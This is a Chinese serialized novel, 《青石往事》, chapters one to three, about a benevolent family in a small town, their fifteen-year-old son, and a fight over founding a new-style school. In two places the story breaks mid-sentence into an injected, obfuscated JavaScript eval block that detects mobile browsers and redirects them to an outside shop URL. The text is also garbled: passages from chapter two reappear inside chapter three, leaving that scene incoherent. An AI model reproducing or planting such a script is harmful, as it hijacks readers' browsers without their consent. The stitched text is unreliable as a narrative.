《青石往事》 1. 第一章 那些过往 那个年代,温饱是最重要的。小镇上只有张家不会因此烦恼。张家是外来定居的,因为心善好施,镇上的人逐渐接纳了他们。 张家初来时,镇上的老辈人背地里议论过——这般齐整的一家人,为何偏选这偏僻小镇落脚?张老太爷不辩解什么,只默默在镇东头置了宅院,开了春,雇人疏浚了淤塞多年的引水渠。盛夏暴雨倾盆,别处的田都淹了,唯独青石镇因水道通畅,庄稼保住大半。自那以后,镇上人看张家的眼神才软和下来,渐渐有了走动。只是张家究竟从何处来、为何而来,仍是茶余饭后解不开的谜。 镇上人都知道张家有位小少爷,却鲜有人见过真容。只偶尔有路过张家后巷的人,听见墙内传来琅琅书声或箭矢破风的轻响,才恍惚想起:张老太爷那位藏着养着的小儿子,原来已到了能文能武的年纪。琴棋书画骑射都由张家在京都请来的,据说张夫人怀孕后就着手准备了。 其实张家还有一个大儿子,曾是镇上出了名的学者,匿名偷跑去私塾教导孩童数学和武术,深受镇上邻里的喜爱。由于三个月未曾踏足家门一步,被张老太爷寻回,镇上的人才知道他是张家的。 后来由于对侵略者的痛恨,他偷跑参了军,偶有军中同乡捎来模糊口信,只说人在北地,一切安好,却始终不见一封亲笔书信。这似有若无的音讯,反让张家人的心悬得更高。这件事对张家是一个打击,让他们沉寂了许久。 这天,张家照常布施。除了米粥菜蔬,每人竟还得了一个红蛋。猜测议论多时未能猜出结果,众人推举镇上的大家长前去了解情况——对于喜事,镇上百姓很乐于恭祝的。那一天,张家小少爷十五岁了。 红蛋在粗布衣襟里滚着温乎乎的热气。镇民们攥着这抹意外的红,交头接耳声嗡嗡响成一片,像煮开的粥。最终,德高望重的陈老秀才被推了出来。他整了整洗得发白的长衫,叩响了张家那扇常虚掩着的黑漆门。 门开了,是张老太爷自己。他今日穿了件暗紫团花缎袄,脸上透着久违的光亮,像梅雨天里忽然晾出的棉絮。 “陈老先生,”他拱手,眼角皱纹堆起笑意,“可是为这红蛋?家里小儿今日行冠礼,虚岁十五了。一点乡俗,同喜,同喜。” 消息风似的卷过石板路。不一会儿,张家门庭前便热闹起来。镇民们不再拘谨,篮里揣着攒下的干枣、新染的粗布,甚至孩童在溪边捡的奇巧石子,都往门房里送。张家也不推辞,让下人搬出几条长凳,檐下摆开茶水。 正热闹着,后院月洞门里走出个人来。少年身量已显,穿着八成新的藏青学生装,短发齐整,只是脚下那双锃亮皮鞋,踩在青苔上略显生疏。他手里攥着本书,见这许多人,脚步顿住了,耳根微微发红------这便是那位只闻其名、未见其面的小少爷了。 院里静了一霎。镇民们的目光齐刷刷投过去,带着好奇的打量。这便是张老太爷藏了十五年的小儿子?模样倒是清俊,只是瞧着有些腼腆。 "静轩,来。"张夫人从后头轻推他一把,眼里是藏不住的笑与泪,又低声提醒道:“叫叔伯婶娘。” 小少爷定了定神,上前几步,作了揖,嗓音清亮却还带点稚气:"各位乡邻安好。"举止是京都先生们调教出的规矩,可眼神扫过孩子们手里脏兮兮的陀螺时,那好奇劲儿又透了底。 陈老秀才呷了口茶,对张老太爷笑道:“老太爷好福气。大公子当年……”话出口才觉失言,忙住了嘴。 院里静了一瞬。 张老太爷望着檐角一块明瓦,那里透下的光照着浮尘缓缓舞动。“老大若在,该是……”他摆摆手,没再说下去,只转头看向小儿子,目光复杂。 不知哪个孩子嚷了句:“小少爷,你也会打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140643|196314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拳么?以前大少爷教过我们马步!” 少年眼睛倏地亮了,书往石凳上一搁:“拳脚略知一二,但我会射箭。”他性子到底是活泼的,转身便往院里跑,边跑边喊,“我爹上月送我的弓!” 弓是湘竹做的,刷了清漆,弦绷得紧。他立在院中,对着老槐树上悬的一枚铜钱,拉弓的姿态竟有模有样。阳光透过叶隙,在他肩头跳跃。 箭离弦时,偏了寸许,擦着铜钱边,“笃”一声钉进树干。少年懊恼地跺了下脚,崭新皮鞋沾了泥。众人却轰然叫起好来——在这小镇,能拉开弓已是了不得。 张老太爷看着小儿子捡箭的背影,忽然对陈老秀才低声道:“这世道,念书、习武,不知哪样才能真正护得他周全。”声音里带着过来人的疲惫,与一丝难以言喻的忧虑。 傍晚,贺客散尽。 小少爷帮着收拾散落的红蛋壳,忽然抬头:“爹,大哥用的,也是这把弓么?” 张父正弯腰拂去石凳上的灰,动作停了停。“不是,”他说,“你哥那会儿,用的是我年轻时在关外得的牛角弓。”他直起身,望向西边天际最后一抹暗红,“那弓……他带走了。” 少年“哦”了一声,低头继续捡。一片蛋壳捏在指尖,映着将尽的天光,红得像要滴出血来。 夜里起了风,吹得书房窗纸噗噗作响。 少年在灯下临帖,写着写着,笔尖一顿,在宣纸上洇开一团墨。他忽然想起日间那射偏的一箭,想起父亲眼中深沉的忧虑,也想起几年未见的大哥——那个据说能百步穿杨,却消失在战火里的人,至今未给家里捎过一字半句。 他吹灭灯,在黑暗里坐了很久。院外,小镇已沉入梦乡,只有更夫梆子声,一声,又一声,稳稳地响在深巷里。 远处,隐约有火车汽笛传来,悠长,恍惚,像另一个世界的呼吸。 2. 第二章 新学旧影 红蛋的余温在镇民的口耳相传中渐渐凉透,张家小少爷张静轩行冠礼的事,却像一颗石子投入古井,漾开的涟漪迟迟未散。 清晨的雾气还未完全散去,张静轩已经站在后院那棵老槐树下。他手里握着那把湘竹弓,指尖反复摩挲着弓弦勒出的浅痕。自那日射偏一箭,这已是他第七个早晨站在这里。十五岁少年的倔强,像初春冻土下拼命顶出的草芽。 “手腕再沉三分。” 声音从月洞门边传来。张静轩回头,看见父亲不知何时站在那里,披着件灰鼠皮坎肩,手里端着黄铜水烟壶。 张老太爷走近,将水烟壶搁在石凳上,站到儿子身后。那双经年拨算盘、翻账本的手,此刻轻轻覆上少年拉弓的腕。“你大哥第一次学射时,总急着撒放。”他的声音很平静,像在说昨日市集的米价,“我告诉他,箭在弦上时,最要紧的不是靶心,是知道为何而射。” 张静轩感到父亲手掌的温度透过衣袖传来,微微粗糙的掌心有常年握笔留下的茧。他屏住呼吸,重新拉满弓弦。这一次,视线穿过箭簇,那枚悬在枝头的铜钱在晨光中微微发亮。 箭离弦的刹那,他忽然明白了父亲的话——弓弦震动的嗡鸣中,他听见的不仅是竹木的震颤,还有血液奔流的声音,属于张家,也属于这个从未真正走出过的青石镇。铜钱应声而落,“叮当”一声滚到青砖上。 张老太爷什么也没说,只拍了拍儿子的肩,转身端起水烟壶走了。张静轩看着父亲的背影,发现那件总挺括的长衫,今日肩胛处竟有些松垮。 早饭时,张夫人往儿子碗里夹了个煎得金黄的荷包蛋。“你爹一早去镇公所了,”她说,目光在丈夫空着的座位上停留片刻,“省里来了文书,要各镇筹办新式学堂。” “新式学堂?”张静轩放下筷子。 “就是洋学堂。”管家福伯端着一碟酱菜进来,接话道,“听说要教算学、格致,还有洋文。老太爷被推举为筹备会的副会长。” 张夫人轻轻叹了口气:“这兵荒马乱的年月,办什么学堂……”话未说完便止住了,只低头搅动着碗里的粥。 张静轩却感到心口有什么东西被点燃了。京都先生们教过他格致初阶,那些关于蒸汽之力、电光之妙的讲述,总让他觉得窗外的世界不止青石镇这般大小。他匆匆扒完饭,说要去书院还书——那是镇上唯一的书铺兼租借处,老板是个前清落第秀才。 他想起大哥留在家中的那些扉页发黄、边角卷起的书——《时务报》《瀛寰志略》,里面说的火车、议会、格致之学,京都先生虽也略讲,却总叹一句“此非正途”。可那些文字里的世界,像暗夜里的星火,一直在他心里闪着。 青石镇的主街由青石板铺成,经年累月被脚步磨得光滑。清晨的市集刚刚开张,挑着担子的货郎、摆开摊位的农妇、提着乌笼遛鸟的老者,构成一幅熟悉的市井图。张静轩穿过人群,不时有相熟的镇民打招呼: “小少爷早啊!” “张家少爷,那日箭射得漂亮!” 他一一回应,脚步却不自主地加快。书院的门脸很小,两扇木板门上贴的对联已褪成淡红:“藏书未必皆有用,识字从来不算多”。推门进去,一股陈年纸张与墨锭混合的气味扑面而来。 老板赵秀才正趴在柜台后打盹,鼻梁上的圆框眼镜滑到了鼻尖。听见门响,他猛地惊醒,眼镜差点掉下来。 “静轩啊,”他扶正眼镜,看清来人后露出笑容,“又来淘书了?” “赵先生早。”张静轩恭敬地行礼——对读书人,父亲总教导他必须持礼。他径直走向靠墙的那排书架,那里有赵秀才从省城偶尔带回的“新书”。 手指滑过书脊:《天演论》《变法通议》《西学东渐记》……这些书大多品相不佳,边角卷起,页间有不知名的批注。张静轩抽出一本《泰西工艺初探》,翻开扉页,上面用铅笔写着:“实业救国,匹夫有责”,字迹潦草却有力。 “那本是前年一个过路的先生留下的,”赵秀才不知何时站到了他身后,声音压低了些,“听说后来去了南边,搞什么……机器纺纱。” 张静轩抬头:“赵先生,您知道新式学堂的事吗?” 赵秀才镜片后的眼睛眨了眨,忽然扯了扯嘴角,那笑容有些复杂:“知道,怎么不知道。陈老秀才为这事,已经三天没睡好觉了。” 原来,镇公所里为办学堂的事,早已分作两派。以陈老秀才为首的旧派,主张“中学为体”,即便办学,也应以经史为重;而以镇长儿子——刚从省城师范学堂毕业的卢明远为首的新派,则坚持要全面推行新学,甚至提出要请女先生,开设女子班。 “你父亲……”赵秀才顿了顿,“处在中间。” 张静轩付了租书钱,抱着那本《泰西工艺初探》走出书院时,日头已升高。他想着父亲昨夜书房里亮到深夜的灯,想着母亲欲言又止的叹息,脚步不由得转向镇公所方向。 镇公所原是前清巡检司的旧衙,飞檐翘角,门前石狮已被风雨侵蚀得面目模糊。张静轩还没走近,就听见里面传出的争执声: “……女子无才便是德!让女娃娃抛头露面进学堂,成何体统!”是陈老秀才激动的声音。 另一个年轻些的声音紧接着响起,不卑不亢:“陈老,如今是民国了。蔡元培先生执掌的教育部明文规定,男女皆有受教之权。况且镇上多少女子在纱厂、绣坊作工,识字明理,对家对国岂无益处?” 张静轩悄悄靠近窗根,透过雕花木窗的缝隙往里看。议事堂里坐着十来个人,父亲坐在左侧上首,手里捏着那份省里来的文书副本,眉头微蹙。对面是个二十出头的青年,穿着立领学生装,头发剪得短短的,正是卢明远。 陈老秀才气得胡子直颤,指着卢明远:“你、你在外头学了几天洋派,回来就要把老祖宗的规矩都掀了?我问你,若是女子都进了学堂,谁来持家?谁来纺纱绣花?” “持家与识字何冲突?纺纱绣花与明理又何矛盾?”卢明远站起身,向在座众人拱手,“诸位叔伯,明远并非要全盘否定旧学。只是如今外有强敌环伺,内有民生凋敝,若再不启民智、兴实业,只怕……” 他话未说完,一个胖乎乎的中年商人咳嗽一声:“卢贤侄说得在理。不过办学要钱,这经费从何而来?省里文书说得轻巧,让地方自筹,咱们青石镇去年遭了水,今年春蚕又收成不好,税都收不齐,哪来的余钱办新学堂?” 这话像一瓢冷水,泼灭了刚刚燃起的争论火苗。众人都沉默了,目光不约而同投向张老太爷。 张静轩看见父亲缓缓放下文书,双手按在膝上,那是他深思时的习惯动作。“经费的事,”张老太爷开口,声音不高,却让整个议事堂安静下来,“省里答应拨一部分,缺口由地方补足。我张家……愿出三成。” 满座哗然。三成不是小数目,尤其在这青黄不接的时节。 陈老秀才急道:“张公,这使不得!您家布施乡里已是大善,怎能再……” “陈老,”张老太爷抬手止住他的话,目光扫过在座每一张脸,“这钱不是白出。我有一个条件。” 卢明远眼睛一亮:“张伯父请讲。” “学堂要办,但不能全盘照搬省城的章程。”张老太爷站起身,走到堂中那幅斑驳的“明镜高悬”匾额下,“青石镇有青石镇的实际。男班女班都可开,但女子班需有女先生,且课程要兼顾家政、女红。经史要读,算学格致也要教。另外……” 他转身,目光忽然变得锐利:“需开一门乡土课,教孩子们知道青石镇的山川地理、物产风俗,知道我们从何处来。” 这番话说完,堂内静得能听见外面街市的嘈杂。陈老秀才张了张嘴,最终没说出什么。卢明远沉思片刻,郑重躬身:“张伯父思虑周全,明远佩服。” 胖商人又咳了一声:“那张公,另外七成……” “余下的,”张老太爷坐回位置,重新拿起那份文书,“按田亩、商铺摊派。镇上二十七户殷实人家,我都拟了单子,公平合理,诸位可一同商议。” 窗外的张静轩悄悄退开几步,靠在冰凉的砖墙上。晨风吹过庭院里那株老桂树,沙沙作响。他忽然想起大哥——如果大哥在,会站在哪一边?那个会偷偷教穷孩子识字、会因痛恨侵略者而离家从军的大哥,一定也会支持办学吧? 正想着,身后传来脚步声。张静轩回头,看见卢明远从侧门走出来,正低头点一支烟卷,抬头看见他,卢明远愣了一下。随即笑了:“张家小少爷?来听议事?” 张静轩并未因对方年长且见识广而露怯,反而将怀中那本《泰西工艺初探》抱得更紧了些,抬眼迎上卢明远的目光:“我……路过。”卢明远见状,脸上公式化的笑意淡去,换上一丝真正的兴趣。 卢明远走过来,目光落在他手中的《泰西工艺初探》上,笑意更深了:“好书。静轩弟也对这些感兴趣?” “随便看看。”张静轩顿了顿,鼓起勇气问,“卢大哥,新学堂……真能办成吗?” 卢明远深吸一口烟,缓缓吐出,青烟在晨光中缭绕。“难。”他说得很直接,“钱是一难,人是二难,最难的是……”他用夹烟的手指点了点太阳穴,“这儿。很多人觉得,乱世之中,识字不如识米。” “可我爹说,越是乱世,越要读书明理。” 卢明远看了他片刻,忽然伸手拍了拍他的肩:“张伯父是有远见的人。静轩弟,你今年十五了吧?等学堂办起来,你可要来当第一个学生。” “我?”张静轩一怔,“我有先生在教……” “京都请的先生固然好,”卢明远掐灭烟卷,神色认真起来,“可学堂里不只有先生。还有同龄人,有不同的想法,有争吵,有辩论。那才是真正的‘学’。” 他说完,又笑了笑,转身走了。张静轩站在原地,看着那个穿着学生装的背影消失在镇公所的影壁后。怀里的书忽然变得沉甸甸的。 回家的路上,他在街角看见一个熟悉的身影——福伯蹲在米店前,正和掌柜低声说着什么。张静轩本想打招呼,却听见福伯叹气道:“……老太爷让把城东那三十亩水田典出去,说办学堂要紧。” 掌柜的咂嘴:“张公这是何必?这些年布施、修桥、铺路,家底再厚也经不起这么耗啊。” “你懂什么,”福伯声音压得更低,“老太爷心里憋着股劲呢。大少爷当年走的时候,留了封信,说‘国若不国,家何以家’……老太爷嘴上不说,心里都记着。” 张静轩悄悄退开,绕了另一条路回家。那句话在他心里反复回响:“国若不国,家何以家”。大哥的字迹他见过,遒劲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他的指尖停在镇南一处:“这里,旧时有座文峰塔,同治年间塌了,再没修起来。陈老秀才那辈人说,塔在时,镇上出过三个进士。”手指又移到镇北,“这儿,前清设过关卡,收厘金,后来废了。如今……” 张老太爷没有说下去,只深深叹了口气。张静轩看着父亲花白的鬓角,忽然问:“爹,您为什么一定要办学堂?” 书房的窗开着,院里的栀子花香飘进来,混着墨锭的清苦气。张老太爷沉默了很长时间,久到张静轩以为他不会回答了。 “因为你大哥走的那天,”他终于开口,声音很轻,像怕惊动什么,“回头看了一眼祠堂的方向。那时我就知道,他舍不得的不只是这个家,还有这片水土养出的人。” “这些年我总想,若是他小时候,镇上就有个像样的学堂,能堂堂正正地学新知识、明新道理,也许……”张老太爷摇摇头,没有说下去,转而道,“你大哥没走完的路,总得有人接着走。这学堂,就是路。” 张静轩的心被什么东西攥紧了。他想起那把牛角弓,想起几年未见的大哥,想起箭离弦时血液奔流的声音。 “爹,”他说,“开学那天,我想去报名。” 张老太爷抬起头,看着儿子。十五岁的少年,眉眼间已有张家人的轮廓,但眼神清澈,尚存稚气。他看了很久,终于点点头:“好。但京都先生的课也不能落下。” “是。” “还有,”张老太爷从抽屉里取出一个扁长的木匣,推到儿子面前,“这个,给你。” 张静轩打开匣子,呼吸一滞。里面躺着一把弓,不是他练习用的湘竹弓,而是一把打磨光润的榆木弓,弓身弧度优美,弦是牛筋的,绷得紧紧的。最特别的是弓弣处,阴刻着一行小字:“守静笃,观复明”。 “这是你爷爷传给我的,”张老太爷说,“他说,张家人可以读书经商,可以入仕从军,但心里总要绷着一根弦。这根弦,叫本分。” 张静轩小心翼翼拿起弓,手感沉实,弓身有经年摩挲形成的包浆,温润如玉。他忽然明白,这不是一把用来射铜钱的弓。 黄昏时分,他带着新弓来到后院。老槐树下,那枚铜钱还悬在原处,在夕照中泛着暗金色的光。张静轩搭箭,拉弦,这一次他没有急于瞄准,而是闭上眼睛。 风声、树叶沙沙声、远处街市的嘈杂声、更夫试梆子的轻响……都在耳边流过。他想起父亲摊开的地图,想起大哥留在《山河图》上的字迹,想起卢明远说的“乱世之中,识字不如识米”,想起福伯低声说的“国若不国,家何以家”。 弓弦缓缓拉满。 箭离弦的瞬间,他睁开眼。箭簇破开暮色,带着轻微的呼啸,穿过铜钱方孔,“夺”一声钉进树干。铜钱在箭杆上颤了颤,稳稳停住。 张静轩放下弓,掌心有汗。他走过去拔出箭,铜钱落入手心,微凉。转过身时,他看见父亲站在月洞门下,不知已看了多久。 张老太爷什么也没说,只是点了点头,转身消失在渐浓的暮色里。 那天夜里,张静轩在灯下翻看《泰西工艺初探》。书页间滑出一张纸条,铅笔字迹已经模糊,但仍能辨认:“机器可代人力,不能代人心。救国之道,在启民智,在正人心。” 窗外,镇公所方向传来隐约的敲打声——旧祠堂已经开始修缮了。声音沉闷,却一声接一声,稳稳地,敲在青石镇的夜色里。 更远处,青云河的水潺潺流淌,带着上游山野的气息,穿过石桥,绕过镇子,向着省城的方向,昼夜不息。 张静轩吹熄油灯,在黑暗里摩挲着那把榆木弓上的刻字。守静笃,观复明。月光从窗棂漏进来,在地面上铺开一片清辉,像一条朦胧的路。 他忽然觉得,十五岁这年秋天,有些什么东西,正要开始。 3. 第三章 弦动新声 旧祠堂修缮的敲打声持续了整整十天。 每天清晨,那咚咚的闷响就准时响起,像一颗缓慢而坚定的心跳,回荡在青石镇的晨雾里。张静轩推开窗,能看见祠堂方向的屋脊上,工匠们的身影在秋日晴空下移动,瓦片被一块块揭起,又换上新的。 福伯从廊下经过,抬头看了看天色:“今儿是个好日子,上梁。” 按照青石镇的旧俗,房屋修缮到上梁这日,主家要备酒肉、撒喜钱,匠人们唱起上梁歌,邻里都来讨个彩头。张静轩匆匆吃了早饭,跟着父亲往祠堂去。张老太爷手里提着一只竹篮,里面装着红布包裹的铜钱和几封红纸包的喜银。 祠堂前的空地上已经聚了不少人。陈老秀才拄着拐杖站在最前头,仰脸看着工匠们在梁架上忙碌。卢明远也来了,今日换了身半旧的长衫,正和几个年轻人在说话,见张家父子来了,忙迎上来。 “张伯父,静轩弟。” 张老太爷点点头,将竹篮交给候在一旁的工头:“按老规矩办,图个吉利。” 日头升高时,主梁终于吊装到位。那是根两人合抱的柏木梁,刨得光滑,正中贴着一张红纸,上书“文星高照”四个大字。工头是个五十来岁的黑脸汉子,清了清嗓子,开口唱道: “一根柏木出南山哎——鲁班弟子请下凡——” 粗犷的调子在秋阳下荡开,围观的镇民们跟着喝彩。工匠们将梁木稳稳落进榫卯,工头抓起一把铜钱,撒向人群。孩童们嬉笑着争抢,大人们也伸手去接,图个喜庆。 张静轩站在人群外围,目光却落在祠堂西厢那排刚刚修葺一新的窗棂上。窗纸还没糊,一个个方正的窗洞像眼睛,空洞地望着外面的世界。他想,不久后,这里就会有读书声,有粉笔在黑板上划过的声音,有少年人争论的声音。 “想什么呢?” 卢明远不知何时站到了他身边,递过来一块用油纸包着的米糕。“尝尝,王婆婆刚蒸的,说是贺学堂上梁。” 张静轩接过,米糕还温着,带着淡淡的桂花香。“卢大哥,”他咬了一口,含糊地问,“先生们什么时候到?” “就这两天。”卢明远也望着西厢,“男先生姓程,是我师范学堂的同窗。女先生苏宛音……应该已经动身了。” 他的语气里有一丝不易察觉的停顿。张静轩侧头看了他一眼,发现卢明远耳根微微发红,忙低头装作吃糕。 上梁仪式结束,人群渐渐散去。张老太爷被陈老秀才等人围着,商量着开学典礼的事宜。张静轩独自绕到祠堂后面,那里原是一小片荒废的菜园,如今被平整出来,用石灰画出了几个方框——这是规划的操场。 张静轩已站在老槐树下。他手里握着那把湘竹弓,指尖反复摩挲着弓弦勒出的浅痕。自那日射偏一箭,这已是他第七个早晨站在这里。十五岁少年的倔强,像初春冻土下拼命顶出的草芽。 “手腕……再沉……三分。” 一个暗哑如破风箱的声音从墙根下传来。张静轩一惊,回头看见老哑头蹲在那儿,就着瓦罐喝水。那人头发脏乱纠结,脸上布满风霜刻下的乱纹,喉咙处一道暗红色的旧疤,像被什么勒过或烫过。 老哑头指了指自己的喉咙,摇摇头,又指指耳朵,点点头——那意思是能听不能说。他放下瓦罐,颤巍巍站起身,佝偻着走到张静轩身后。那双枯瘦如柴的手,竟稳稳托住了少年拉弓的腕。 张静轩感到那双手的温度——冰凉,却有力。他依言调整,弓弦缓缓拉满。 箭离弦的瞬间,老哑头喉咙里发出嗬嗬的声响,像赞许,又像叹息。箭簇擦着铜钱边掠过,“笃”一声钉进树干。 “偏了……寸许。”老哑头的声音沙哑得几乎辨不清字词,每个字都像从砂纸上磨出来,“但……架势……有了。” 他弯腰捡起瓦罐,动作迟缓,却有种奇异的稳定。张静轩忽然问:“您……会射箭?” 老哑头浑浊的眼睛动了动,咧开嘴,露出一口的黄牙。他喉咙里先发出嗬嗬的声音,像破风箱拉扯,尝试了几次,才挤出几个字:“年轻……时……摸过。”他顿了顿,用枯瘦的手指在空中虚划了一个弧度,“关外……林子大……弓要……硬。” “您去过关外?”张静轩心头一动。 老哑头没回答,只是望着远处的青云山。晨光正从山脊后爬上来,将山岚染成淡淡的金红色。他看了很久,久到张静轩以为他不会说话了。 “有些地方……”他忽然开口,声音更低,更哑,像从很远的地方飘来,“去过了……就忘不掉。” 他弯腰从地上捡起一片落叶——是槐树的叶子,已经枯黄,叶脉清晰如掌纹。他用指甲在叶面上划了一道,叶子脆生生裂成两半。 “就像这叶子……”他抬起眼睛,那双浑浊的眼底,竟闪过一丝极锐利的光,快得让人以为是错觉,“看着完整……里头……早裂了。” 这话说得没头没脑。张静轩正要再问,老哑头却已经提起那只破瓦罐,蹒跚着走远了。他的背影在晨雾中佝偻成一团模糊的影子,只有脚步声——一步轻,一步重,像左腿有什么旧伤。 张静轩站在原地,手里还握着弓。他忽然想起父亲说过的话:“这世上有些人,身上背着咱们想象不到的故事。” 老槐树的叶子沙沙响着,又落下几片。张静轩抬头,看见那枚铜钱还在枝头晃荡,在晨光里泛着黯淡的、旧时代的颜色。 他重新搭箭,拉弦。 这一次,他没有急着瞄准。 晚饭时,他提起了老哑头。 张老太爷放下筷子,沉默良久,才道:“那人……我有点印象。大约是两年前来的镇上。那时他腿脚还利索,只是不说话,在码头扛过活。后来不知怎的,竟成了乞丐。” “他说他去过关外。” 张夫人轻轻“啊”了一声:“那得是多少年前的事了……” “光绪二十年,”张老太爷缓缓道,“到如今,整整四十三年了。”他看向儿子,语气低沉,“静轩,这世上有些人,身上背着咱们想象不到的故事。你遇见了,听听就好,莫要深究。” 张静轩点点头,可心里那点疑惑,却已如种子落土,悄然生根。 夜里,他躺在榻上,听见外头起风了。秋风吹过屋瓦,发出呜呜的声响,像某种低泣。他想起老哑头那双清亮的眼睛,想起他说“看着完整里头早裂了。”,想起大哥离家那夜,是不是也听过这样的风声? 迷迷糊糊睡去时,远处祠堂的方向,似乎又传来一声轻微的敲打——是工匠忘了工具,还是别的什么? 次日清晨,张静轩被一阵喧哗声吵醒。他披衣起身,推开窗,看见福伯匆匆从前院跑来,脸上带着罕见的慌张。 “怎么了福伯?” “小少爷,祠堂……祠堂出事了!” 张静轩心头一紧,胡乱套上衣服就往外跑。赶到祠堂时,那里已经围了不少人。卢明远和陈老秀才都在,两人脸色都很难看。张老太爷背着手站在西厢屋檐下,仰头看着什么。 张静轩顺着父亲的目光看去,呼吸一滞——昨夜刚刚上好的那根柏木主梁,正中贴“文星高照”红纸的地方,被人用刀划了一道深深的刻痕。刻痕斜贯整个梁木,将“文星”二字劈开,触目惊心。 “这是……谁干的?”张静轩听见自己的声音发紧。 工头搓着手,满脸惶恐:“张老爷,卢先生,我们昨晚收工时还好好的!门窗都锁了,钥匙在我这儿……”他掏出一串铜钥匙,手在抖。 卢明远上前摸了摸那道刻痕,眉头紧锁:“是新痕,刀口还露着白茬,应该是后半夜的事。”他转向围观的镇民,“各位叔伯,昨夜可听见什么动静?” 人们面面相觑,摇头。秋夜风大,谁会在意祠堂这边的声响? 陈老秀才拄着拐杖的手在抖,不知是气还是怕:“造孽,造孽啊!这是冲撞了文曲星!这学堂……怕是不吉!” “陈老莫急。”张老太爷终于开口,声音平静得让人意外。他走到梁下,仔细看了看那道刻痕,忽然说:“不是冲着文曲星来的。” 众人都看向他。 “你们看,”张老太爷指着刻痕的走向,“这一刀,是从左下向右上斜劈。若是要毁‘文星高照’四字,大可以横着划,或者乱砍。可这一刀——”他的手指在空中虚划,“干净利落,带着股劲儿。不像毁,倒像……留个记号。” 卢明远眼睛一亮:“张伯父的意思是,这是有人故意留下的警告?” “警告什么?”有人问。 张老太爷没有回答,只是转身对工头说:“找块木板,把刻痕遮了。梁还是好梁,学堂照办。” “可是张公……”陈老秀才还想说什么。 “陈老,”张老太爷打断他,目光扫过在场每一个人,“青石镇要办新学堂,这事已经传出去了。有人赞同,就有人反对。咱们若是被这一刀吓退,不正合了某些人的意?” 他的声音不高,却字字清晰,落在晨光微凉的空气里。张静轩看着父亲的侧脸,那平日里温和的眉眼此刻显出一种罕见的坚毅。他忽然想起那把榆木弓上的刻字:“守静笃,观复明”。守静不是退缩,观复是为了看清。 人群渐渐散去,工匠们开始找木板遮盖刻痕。张静轩留在最后,等人都走了,他独自走进西厢。晨光从窗洞照进来,在地上投出一个个方正的光斑。空气中飘着新木和石灰的气味,还有一丝若有若无的、铁锈般的腥气。 他在那道梁下站了很久,仰头看着被木板遮住的刻痕。忽然,眼角余光瞥见墙角有什么东西一闪。在一片灰白碎屑中,一点暗红刺入眼帘——是片边缘锋利的陶片,像是随着那一刀劈砍,从某种器物上崩落下来的。 张静轩捡起碎片,对着光仔细看。碎片边缘锋利,颜色暗红如凝血,表面有隐约的纹路,但看不真切。他将碎片揣进怀里,走出祠堂时,太阳已经完全升起来了,青石板路上光影分明。 回家的路上,他遇见老哑头。老人正蹲在街角,面前摆着个破碗。看见张静轩,他浑浊的眼睛动了动,忽然伸手指了指祠堂的方向,又指了指自己的胸口,摇了摇头。 “您是说……祠堂的事,和您无关?”张静轩试探着问。 老哑头点头,然后伸出三根手指。 “三个人?” 摇头。老哑头又做了个握刀劈砍的动作,然后三根手指在眼前晃了晃。 张静轩心头一跳:“您是说……这是第三回了?以前也发生过?” 老哑头深深看了他一眼,那眼神浑浊深处,似有极微弱的火星一闪,像隔着一层厚冰望向篝火。他收回手指,重新低下头,脖颈处的旧疤在阳光下显得愈发暗红刺目。 只是这一次,他木然垂首的姿势里,似乎透着一丝极难察觉的僵直,仿佛在压抑着什么。张静轩再问,他便只是摇头,喉咙里发出嗬嗬的含混声响,像个真正的哑巴。但少年转身离开时,分明感到背上落着两道目光,沉甸甸的,一直目送他走出巷口。 午饭时,张静轩把碎片和早上的事说了。张老太爷接过那片暗红色的碎片,在指尖捻了捻,又凑到鼻尖闻了闻,脸色渐渐凝重。 “这是陶片,”他说,“但釉色不对。寻常陶器是土黄或青灰,这红色……像是加了朱砂。” “朱砂?”张夫人放下筷子,“那不是道士画符用的吗?” 张老太爷没有接话,只是将碎片收进袖中:“静轩,这事你别再管了。好好准备入学的事。” “可是爹,老哑头说这是第三回了。以前还有过两次?” 张老太爷沉默了很久,久到张静轩以为他又不会回答了。但这次,他开了口,声音压得很低:“十年前,镇东头李家办私塾,请了个新派先生,教算学和格致。开学前夜,先生住的厢房门上,被人用刀刻了个‘止’字。” 张静轩屏住呼吸。 “五年前,陈老秀才想重修文峰塔,募捐的册子刚做好,就被人偷了,扔在青云河里。”张老太爷的目光有些悠远,“这两件事,镇上人都说是巧合。可如今……” 他没有说下去,但意思已经明了。有人,或者有一股力量,在暗中阻挠青石镇的改变。无论是新式教育,还是复兴文风,都在被打压之列。 “为什么要这样?”张静轩不解,“办学堂是好事啊。” “对有些人来说,不是。”张老太爷站起身,走到窗前,“静轩,你要明白,这世上的事,不是非黑即白。有人希望百姓开智,就有人希望百姓愚昧。有人盼着世道变新,就有人巴不得一切照旧。这青石镇看似平静,底下也是有暗流的。这个老哑头不过来青石镇不过两年,这些事他居然知道的也这么清晰。” 窗外,秋日的阳光明晃晃的,照得庭院里那几盆菊花金黄灿烂。可张静轩却感到一丝寒意,从脚底慢慢爬上来。 下午,他照例去后院练箭。那把榆木弓握在手里,比往日更沉了。他搭箭,拉弦,瞄准老槐树上新悬的一枚铜钱——这是他自己挂的,比之前那枚小一圈。 弓弦拉到一半,他忽然停了。 眼前闪过梁上那道刻痕,闪过暗红色的陶片,闪过老哑头伸出的三根手指。这些碎片在脑海里旋转,拼凑不出完整的图案,却隐隐指向某个他不了解的、青石镇的另一面。 “手腕松了。” 张静轩一惊,回头看见卢明远站在月洞门下,手里提着个布包。 “卢大哥?你怎么……”张静轩并未因对方年长且见识广而露怯,反而将怀中那本《泰西工艺初探》抱得更紧了些,抬眼迎上卢明远的目光。卢明远见状,脸上公式化的笑意淡去,换上一丝真正的兴趣。 